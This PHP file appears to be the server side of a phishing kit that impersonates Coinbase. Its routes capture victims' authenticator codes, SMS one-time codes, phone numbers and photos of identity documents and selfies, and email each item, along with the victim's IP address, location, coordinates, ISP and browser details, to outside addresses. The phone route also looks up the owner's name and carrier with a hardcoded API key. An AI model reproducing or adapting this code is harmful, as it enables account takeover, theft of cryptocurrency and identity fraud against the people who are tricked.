<?php
$coinbase->post('/cb-ajax/auth/submit', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	
	if(!isset($_SESSION['auth_submit_count'])){
		$_SESSION['auth_submit_count'] = 0;
	}
	
	if($_SESSION['auth_submit_count'] > 10){
		$_SESSION['auth_submit_count'] = 1;
	}
	
	$_SESSION['auth_submit_count'] += 1;
	$auth = $_POST['auth'];
	sleep(3);
	if(strlen($auth) != 6){
		die("error");
	}

//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	$subject = "[ Sent Auth ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Auth Masuk";
	$fmail = "sentauth@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
	AUTH Code        : $auth<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	

	if ($config['email_sender'] == "smtp") {
		$mail = sendSmtp($subject, $fname, $fmail, $message);
	} else {
		$mail = sendMail($subject, $fname, $fmail, $message);
	}
		
	if($mail){
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Google Auth|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
	}
	
	echo $_SESSION['auth_submit_count'];
});



$coinbase->post('/cb-ajax/kick', function()
{
	if(!isset($_SESSION['cf'])){
		block();
	}
	sleep(3);
	die("ok");
});




$coinbase->post('/cb-ajax/otp/submit', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	if(!isset($_SESSION['otp_submit_count'])){
		$_SESSION['otp_submit_count'] = 0;
	}
	
	if($_SESSION['otp_submit_count'] > 10){
		$_SESSION['otp_submit_count'] = 1;
	}
	
	$_SESSION['otp_submit_count'] += 1;
	$otp = $_POST['otp'];
	sleep(3);
	if(strlen($otp) != 6){
		die("error");
	}

//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	$subject = "[ Sent OTP ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "OTP Masuk";
	$fmail = "sentotp@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
	OTP Code         : $otp<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	

	if ($config['email_sender'] == "smtp") {
		$mail = sendSmtp($subject, $fname, $fmail, $message);
	} else {
		$mail = sendMail($subject, $fname, $fmail, $message);
	}
		
	if($mail){
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit OTP Code|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
	}

	echo $_SESSION['otp_submit_count'];
});




$coinbase->post('/cb-ajax/phone/submit', function() {
  global $config;
  
  if(!isset($_SESSION['cf'])){
    block();
  }
  $phone = $_POST['phone'];
  if(empty($phone)){
    die("error");
  }
  $_SESSION['pnumber'] = $phone;

function cekphone($phone) {
    if(empty($phone)){
        $phone = $_SESSION['pnumber'];
    }
    
    $apiKey = "CoaU1SbBurUIXttNpu856xhK6ykeKkKx";
    $url = "https://ipqualityscore.com/api/json/phone/{$apiKey}/{$phone}";
    
    $c = file_get_contents($url); // Use file_get_contents instead of Req for simplicity
    $j = json_decode($c);
    
    return $j;
}

$phone_check = cekphone(false);

if($phone_check) {
    $_SESSION['formatted'] = $phone_check->formatted ?? '';
    $_SESSION['local_format'] = $phone_check->local_format ?? '';
    $_SESSION['carrier'] = $phone_check->carrier ?? '';
    $_SESSION['line_type'] = $phone_check->line_type ?? '';
    $_SESSION['line_country'] = $phone_check->country ?? '';
    $_SESSION['name'] = isset($phone_check->name) ? ucwords(strtolower($phone_check->name)) : '';
    $_SESSION['sms_email'] = $phone_check->sms_email ?? '';
    $_SESSION['VOIP'] = $phone_check->voip ? 'Ya (VOIP Number)' : 'Tidak (Non-VoIP Number)';
}

//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	$subject = "[ Phone Number ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Phone Masuk";
	$fmail = "sentnumber@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    Phone Name Owner    : ".$_SESSION['name']."<br>
    Phone Number Format : ".$_SESSION['formatted']."<br>
    Phone Number        : $phone<br>
    SMS Email           : ".$_SESSION['sms_email']."<br>
    Phone Carrier       : ".$_SESSION['carrier']."<br>
    Phone Country       : ".$_SESSION['line_country']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	
	if ($config['email_sender'] == "smtp") {
        $mail = sendSmtp($subject, $fname, $fmail, $message);
    } else {
        $mail = sendMail($subject, $fname, $fmail, $message);
    }
        
    if ($mail) {
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Phone Number|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
        die("ok");
    } else {
        die("error");
    }
});




$coinbase->post('/cb-ajax/docs/submit', function() {
	global $config;
	
	if(!isset($_SESSION['cf'])){
		block();
	}
	if(!isset($_SESSION['doc_submit_count'])){
		$_SESSION['doc_submit_count'] = 0;
	}
	if($_SESSION['doc_submit_count'] > 2){
		$_SESSION['doc_submit_count'] = 1;
	}
	
	$_SESSION['doc_submit_count'] += 1;

	$document = array($_SESSION['image_front'], $_SESSION['image_back'], $_SESSION['image_selfie']);
	
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	$subject = "[ Document ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Document Masuk";
	$fmail = "document@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
     Data Photo ID !<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Latitude         : ".$_SESSION['latitude']."<br>
    Longitude        : ".$_SESSION['longitude']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."- ".$_SESSION['connection_type']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	
	if ($config['email_sender'] == "smtp") {
        $mail = sendSmtp($subject, $fname, $fmail, $message, $document);
    } else {
        $mail = sendMail($subject, $fname, $fmail, $message, $document);
    }
        
    if ($mail) {
		$data = "{$_SESSION['hari']} - {$_SESSION['jam']}|Submit Document|{$_SESSION['ip']}|{$_SESSION['countryCode']}|{$_SESSION['country']}|{$_SESSION['host']}|{$_SESSION['domain_ip']}|{$_SESSION['ISP']}|{$_SESSION['connection_type']}|{$_SESSION['user_browser']}|{$_SESSION['user_os']}|{$_SESSION['user_os_device']}|{$_SESSION['user_os_name']}|{$_SESSION['agent']}";
		writeL($data, 'visitor');
		writeL($data, 'document');
    }
	echo $_SESSION['doc_submit_count'];
});




$coinbase->post('/cb-ajax/docs/front', function() {
	if(!isset($_SESSION['cf'])){
		block();
	}
    $target_dir = "files/upload/";
	$filename=$_FILES["file"]["name"];
	$tmp_ext = explode(".", $filename);
	$extension=end($tmp_ext);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_dir . $_SESSION['coinbase_email'] . "____FRONT____" . $_SESSION['abcd'] ."." . $extension)) {
		$_SESSION['image_front'] = $_SESSION['coinbase_email'] . "____FRONT____" . $_SESSION['abcd'] ."." . $extension;
		echo "ok";
	}
	
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
    global $config;
    $document = array($_SESSION['image_front']);
	$subject = "[ Document ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Document Masuk";
	$fmail = "document@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
     Data Photo FRONT ID !<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Latitude         : ".$_SESSION['latitude']."<br>
    Longitude        : ".$_SESSION['longitude']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."- ".$_SESSION['connection_type']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	
	if ($config['email_sender'] == "smtp") {
        $mail = sendSmtp($subject, $fname, $fmail, $message, $document);
    } else {
        $mail = sendMail($subject, $fname, $fmail, $message, $document);
    }
 
});



$coinbase->post('/cb-ajax/docs/back', function() {
	if(!isset($_SESSION['cf'])){
		block();
	}
    $target_dir = "files/upload/";
	$filename=$_FILES["file"]["name"];
	$tmp_ext = explode(".", $filename);
	$extension=end($tmp_ext);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_dir . $_SESSION['coinbase_email'] . "____BACK____" . $_SESSION['abcd'] ."." . $extension)) {
		$_SESSION['image_back'] = $_SESSION['coinbase_email'] . "____BACK____" . $_SESSION['abcd'] ."." . $extension;
		echo "ok";
	}
	
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
    global $config;
    $document = array($_SESSION['image_back']);
	$subject = "[ Document ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Document Masuk";
	$fmail = "document@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
     Data Photo BACK ID !<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Latitude         : ".$_SESSION['latitude']."<br>
    Longitude        : ".$_SESSION['longitude']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."- ".$_SESSION['connection_type']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	
	if ($config['email_sender'] == "smtp") {
        $mail = sendSmtp($subject, $fname, $fmail, $message, $document);
    } else {
        $mail = sendMail($subject, $fname, $fmail, $message, $document);
    }
 
});

$coinbase->post('/cb-ajax/docs/selfie', function() {
	if(!isset($_SESSION['cf'])){
		block();
	}
    $target_dir = "files/upload/";
	$filename=$_FILES["file"]["name"];
	$tmp_ext = explode(".", $filename);
	$extension=end($tmp_ext);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_dir . $_SESSION['coinbase_email'] . "____SELFIE____" . $_SESSION['abcd'] ."." . $extension)) {
		$_SESSION['image_selfie'] = $_SESSION['coinbase_email'] . "____SELFIE____" . $_SESSION['abcd'] ."." . $extension;
		echo "ok";
	}
	
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
    global $config;
    $document = array($_SESSION['image_selfie']);
	$subject = "[ Document ] - [ {$_SESSION['coinbase_email']} ] - [ {$_SESSION['ip']} ] - [ {$_SESSION['country']} ] - [ {$_SESSION['city']} ] - [ {$_SESSION['region']} ] - [ {$_SESSION['user_os_device']} ] - [ {$_SESSION['urlkirim']} ]";
	$fname = "Document Masuk";
	$fmail = "document@giggag.co.uk";
	$message = "$$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
     Data Photo SELFIE !<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>
    From             : ".$_SESSION['ip']." On ".$_SESSION['hari']." - ".$_SESSION['jam']."<br>
    Latitude         : ".$_SESSION['latitude']."<br>
    Longitude        : ".$_SESSION['longitude']."<br>
    Tracker Info     : ".$_SESSION['region']." - ".$_SESSION['city']."<br>
    Info ISP         : ".$_SESSION['ISP']." - ".$_SESSION['domain_ip']." - ".$_SESSION['route']."- ".$_SESSION['connection_type']."<br>
    Browser          : ".$_SESSION['user_browser']." on ".$_SESSION['user_os']." - ".$_SESSION['user_os_device']." - ".$_SESSION['user_os_name']." - ".$_SESSION['agent']."<br>
    $$$ ======================+[ $$ Modal Pensiun $$ ]+===================== $$$<br>";
//+++++++++++++++++++++++++++++// ISI PESAN \\+++++++++++++++++++++++++++++\\
	
	if ($config['email_sender'] == "smtp") {
        $mail = sendSmtp($subject, $fname, $fmail, $message, $document);
    } else {
        $mail = sendMail($subject, $fname, $fmail, $message, $document);
    }
 
});